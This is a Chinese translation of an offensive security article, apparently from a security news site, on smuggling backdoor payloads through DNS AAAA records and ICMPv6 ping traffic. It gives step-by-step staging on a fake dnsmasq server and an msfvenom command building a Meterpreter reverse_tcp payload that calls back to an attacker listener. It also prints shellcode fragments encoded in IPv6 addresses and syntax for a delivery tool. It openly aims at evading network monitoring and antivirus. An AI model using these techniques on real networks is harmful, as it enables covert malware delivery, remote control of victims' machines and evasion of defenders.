翻译:
预估稿费:200RMB(不服你也来投稿啊!)
投稿方式:发送邮件至 ,或登陆网页版在线投稿
在本文中,我想解释如何在 DNS 流量中利用 IPv6 地址(AAAA)记录传输 Payload。在我之前的 中,我解释了如何利用 DNS 和 PTR 记录,现在我们将讨论 AAAA 记录。
本文分为两部分:
第一部分 :DNS AAAA 记录和 ICMPv6
第二部分 :DNS 和 AAAA 记录(大的 DNS AAAA 记录响应)
0x01 DNS AAAA 记录和 ICMPv6
IPv6 地址对于传输 Payload 非常有用,让我解释下如何完成这个例子。
举个例子,我们有一个 IPv6 地址如下:
fe80:1111:0034:abcd:ef00:ab11:ccf1:0000
这个例子中,我们能将 xxxx 部分用于我们的 Payload。
fe80:1111:xxxx:xxxx:xxxx:xxxx:xxxx:wxyz
我认为我们有两种方式将 IPv6 地址用于我们的 Payload,第一个是我们使用 DNS 和 AAAA 记录,第二个是使用这些 IPv6 地址和 DNS AAAA 记录,也是 Ping6 的 ICMPv6 流量。
ICMPv6 和 Ping6:这个例子中,你能通过虚假的 IPv6 和注入的 Payload 来改变攻击者的 IPv6 地址,然后从后门系统中,你能通过循环 Ping6 得到这些 IPv6 地址(ICMPv6 流量)。
因此我们有下面这些东西:
(后门系统)ip 地址 = {192.168.1.120}
(攻击者系统)ip 地址 = {192.168.1.111
,fe80:1111:0034:abcd:ef00:ab11:ccf1:0000}
(攻击者系统)DNS 名 = test.domain.com,和安装的 DNS 服务 {dnsmasq 或 dnsspoof}
DNS AAAA 记录和 ICMPv6 步骤:
步骤 1:(攻击者 DNS 服务器)record0=>
fe80:1111:0034:abcd:ef00:ab11:ccf1:0000 AAAA test.domain.com
步骤 2:(后门系统)==>nslookup test.server.com 192.168.1.111
步骤 3:(后门系统)循环 Ping6=>(攻击者系统 fe80:1111:0034:abcd:ef00:ab11:ccf1:0000)
步骤 4:(后门系统)通过 Ping6 响应在 IPv6 地址中转储出注入的 Payload,转储这些部分{0034:abcd:ef00:ab11:ccf1}
步骤 5:(攻击者 DNS 服务器)record0 改为新的 test.domain.com
步骤 6:(攻击者 DNS 服务器)record0=>
fe80:1111:cf89:abff:000e:09b1:33b1:0001 AAAA test.domain.com
步骤 6-1:(攻击者系统)通过 ifconfig 添加或改变 NIC IPv6 地址 {新的 IPv6 地址:fe80:1111:cf89:abff:000e:09b1:33b1:0001}
步骤 6-2:关于步骤 3 的 ping6 的响应 = 超时或不可达(错误),这个时间是获取新的 IPv6 地址的标志,或者你的流量被某些东西检测到并阻止了。
步骤 7:(后门系统)=>nslookup test.server.com 192.168.1.111
步骤 8:(后门系统)循环 Ping6 test.domain.com=>{新的 IPv6 地址 fe80:1111:cf89:abff:000e:09b1:33b1:0001}
步骤 9:(后门系统)通过 IPv6 的响应,从新的 IPv6 地址中转储出注入的 Payload,转储这些部分{cf89:abff:000e:09b1:33b1}
注 1:我们何时能知道 IPv6 地址改变了?当来自攻击者系统的 ping6 响应是超时或者不可达。你也可以通过 nslookup 检查。
注 2:也可以使用多个 IPv6 地址为攻击者的 NIC,这种情况下不需要步骤 6-1。但是这样你不能使用注 1。因此这种情况下你应该使用定时器或者循环通过 nslookup 或类似的工具得到来自攻击者系统的新的 IPv6 地址。意思是,从后门系统,你能逐行得到攻击者系统的 IPv6 地址和 DNS Round-robin 特征以及分组 IPv6 DNS 域名。
在这些步骤之后,你能通过 DNS 和 ICMPv6 流量得到 20 字节的 Payload:
Payload0=fe80:1111:0034:abcd:ef00:ab11:ccf1:0000==>0034:abcd:ef00:ab11:ccf1
Payload1=fe80:1111:cf89:abff:000e:09b1:33b1:0001==>cf89:abff:000e:09b1:33b1
因此我们在两次 Ping6 之后得到这个 Payload:
Reponse:0034abcdef00ab11ccf1cf89abff000e09b133b1
但是在这个技术中,你只能通过 DNS 流量做到这个,意味着你能移除所有的 Ping6 步骤。因此,如果你想不使用 Ping6 和 ICMPv6 流量就做到这个,你只需要步骤 2 和 7,通过 DNS 响应从 DNS 服务器转储 payload。但是我们将在第二部分中讨论讨论这个:(DNS 和 AAAA 记录)
让我们展示一些关于 ICMPv6 方法的图片,没有代码和工具。
我将来可能会发布 C# 代码,并且也和这个文章一步一步介绍,但是我想展示关于 DNS AAAA + ICMPv6 技术的所有图片。
图 A
在图 A 中,你能看到对于 test.domain.com,我们有 8 个的 AAAA 记录,你也能看到这个 IPv6 地址的 Ping 响应,在这个技术中的 DNS 和 ICMPv6,你能通过 1 或 2 下载 DNS 域名,然后如果你想使用 ICMPv6,你能 Ping6 这些 IPv6 地址。
图 A 中,我们有 8 个 AAAA 记录,因此我们有 8*10 字节 = 80 字节
- Meterpreter payload!
- fe80:1111:fc48:83e4:f0e8:cc00:0000:ae0 test.domain.com
- fe80:1111:4151:4150:5251:5648:31d2:ae1 test.domain.com
- fe80:1111:6548:8b52:6048:8b52:1848:ae2 test.domain.com
- fe80:1111:8b52:2048:8b72:5048:0fb7:ae3 test.domain.com
- fe80:1111:4a4a:4d31:c948:31c0:ac3c:ae4 test.domain.com
- fe80:1111:617c:022c:2041:c1c9:0d41:ae5 test.domain.com
- fe80:1111:01c1:e2ed:5241:5148:8b52:ae6 test.domain.com
- fe80:1111:208b:423c:4801:d066:8178:ae7 test.domain.com
- PAYLOAD0= fc4883e4f0e8cc000000 and Counter = ae0
- PAYLOAD1= 415141505251564831d2 and Counter = ae1
因此我们得到 payload=
fc4883e4f0e8cc000000415141505251564831d2
为什么 Ping,我们何时通过 DNS 请求得到 payload?
如果你想使用 DNS 请求,如 DNS 循环请求或者通过 AAAA 记录有大的响应的 DNS 请求,那么这对于 ·DNS 监控工具检测是一种特征。因此如果在每个 DNS 响应之后对于 AAAA 记录你有 1 或 2 个 ping6,那么我认为它是正常的流量,并且能通过 DNS 监控设备或者 DNS 监控工具检测的风险很小。
例如你能通过 1 或 2 或 3 个 AAAA 记录使用一个响应一个请求。意思是如果响应有 4 个 AAAA 记录,或者超过 4 个 AAAA 记录,那么可能有网络监控设备或工具将检测你的流量,但是在这些网络限制方面,SOC/NOC 的家伙比我更有发言权。
正如你能在图 A 中我的 test.domain.com 请求在响应中有 8 个 AAAA 记录。
因此这种情况,我们应该在 IPv6 地址中将你的 payload 分组,DNS 名也是一样。
让我解释一些 ICMPv6 的东西,如果你想通过 IPv6 地址 ping 一个系统,首先你应该得到那个系统的 IPv6 地址,因此你需要 DNS 请求,总是很重要的点是对于你要转储的所有 IPv6 地址和从 IPv6 地址中转储注入的 Meterpreter Payload,你需要多少 DNS 请求?
一个请求?
如果你想通过一个请求和一个响应得到所有的 IPv6 地址,那么你将在一个 DNS 响应中包含大量的 AAAA 记录,因此被检测的风险很高。
看图 A1:
图 A1
并且在图 A2,你能看见 2 个请求的长度,第一个是小响应,第二个是大响应。
图 A2 - 如你所见,我们有两个 DNS AAAA 响应,第一个长度 132(小响应)和第二个长度 1503(大响应)
在本文中,我将通过类似图 A2 中的 DNS AAAA 记录转储所有的 IPv6 地址来解释一个请求和一个响应,但是在这种情况下我们知道 DNS+ICMPv6 也是有被检测的风险的,如在图 A2 所见,我们的第二个响应长度很长,将导致被检测的风险。
两个请求或者更多?
如你在图 B 所见,我的 payload 在 3 个 DNS 名中{test0.domian.com,test1.domain.com,test2.domain.com}.
并且我一次 ping6 一个 IPv6 地址,且得到了 100% 的 ping 回应。
因此在这个例子中,每个响应中我们有包含两个 AAAA 记录的 3 个请求和 3 个响应,在每个 DNSAAAA 响应之后我们还有 ICMPv6 流量,最后我们也有一个小长度的 DNS 响应。
图 B
注意:我的 Linux 系统有多个 IPv6 地址,Ping6 回复在图 C 中。
你能通过 ifconfig 或者多个 IPv6 赋给 NIC 来完成步骤 6-1,如图 C。
图 C
并且,图 C1 中是我们的 DNS 查询:
图 C1
现在你能在图 D 中看到另一个请求和响应分组的例子。
图 D
如图 E 所见,对于 DNS 请求和响应,我们的 DNS 服务器记录。
图 E
无论如何,图中所见的这种方法技术上是可行的,将来我将完成 C# 代码。
现在,本文中我想讨论 DNS 和 AAAA 记录,并讨论如何通过从假的 DNS 服务器到后门系统的一个 DNS 请求和 DNS 响应得到这些 payload。因此我们讨论大的 AAAA 响应,意味着在一个 DNS 响应之后,你能通过一个 DNS AAAA 响应,在后门系统上得到所有的 payload 和 Meterpreter 会话。
通过 NativePayload_IP6DNS 工具,使用 DNS AAAA 记录传输后门 payload 的步骤:
步骤 1:使用 hosts 文件伪造假的 DNS 服务器。
这种情况下,对于攻击者系统,我想使用 dnsmasq 工具和 dnsmasq.hosts 文件。
在我们伪造文件之前,你需要 payload,因此能通过下面的命令得到 payload:
Msfvenom–arch x86_64 –platform windows -pwindows/x64/meterpreter/reverse_tcp lhost 192.168.1.50 -f c >/payload.txt
注意:这个例子中的 192.168.1.50 是攻击者的虚假的 dns 服务器,和攻击者的 Metasploit Listener。
现在你应该通过这个 payload 字符串伪造 hosts 文件,如图 1,你能使用下面的语法伪造:
语法 1: NativePayload_IP6DNS.exe null 0034abcdef00ab11ccf1cf89abff000e09b133b1...
图 1
现在拷贝这些 IPv6 地址到 DNS hosts 文件中,如图 2,并且你需要在每行 IPv6 地址后面写入 DNS 域名。
图 2
这个例子中,我想使用工具 dnsmasq 作为 DNS 服务器,因此你能编辑 / etc/hosts 文件或者 / etc/dnsmasq.hosts。
它依赖你的 dnsmasq 工具的配置。
因此,如图 3,你能使用如下命令启动 DNS 服务器。
图 3.
在启动 DNS 服务器后,你的 dnsmasq 应该会从 hosts 文件中至少读取 51 个地址。
最后用下面的语法,通过一个 DNS IPv6 AAAA 记录响应,你将得到 Meterpreter 会话(如图 A2 中的大的响应,第二个 DNS 响应,长度为 1503)
语法: NativePayload_IP6DNS.exe "FQDN" "Fake DNS Server"
语法: NativePayload_IP6DNS.exe test.domain.com 192.168.1.50
图 4
总而言之,DNS 流量的 PTR 记录和 IPv6 AAAA 记录对于传输 payload 并绕过网络监控或者类似的东西非常有用,并且这些技术也能绕过反病毒软件。
NativePayload_IP6DNS.exe 的 C# 源代码:(DNS AAAA 记录)
NativePayload_DNS.exe tool 的 C# 源代码:(DNS PTR 记录)
本文由 安全客 翻译,转载请注明 "转自安全客",并附上链接。
来源: http://www.tuicool.com/articles/IriMf2v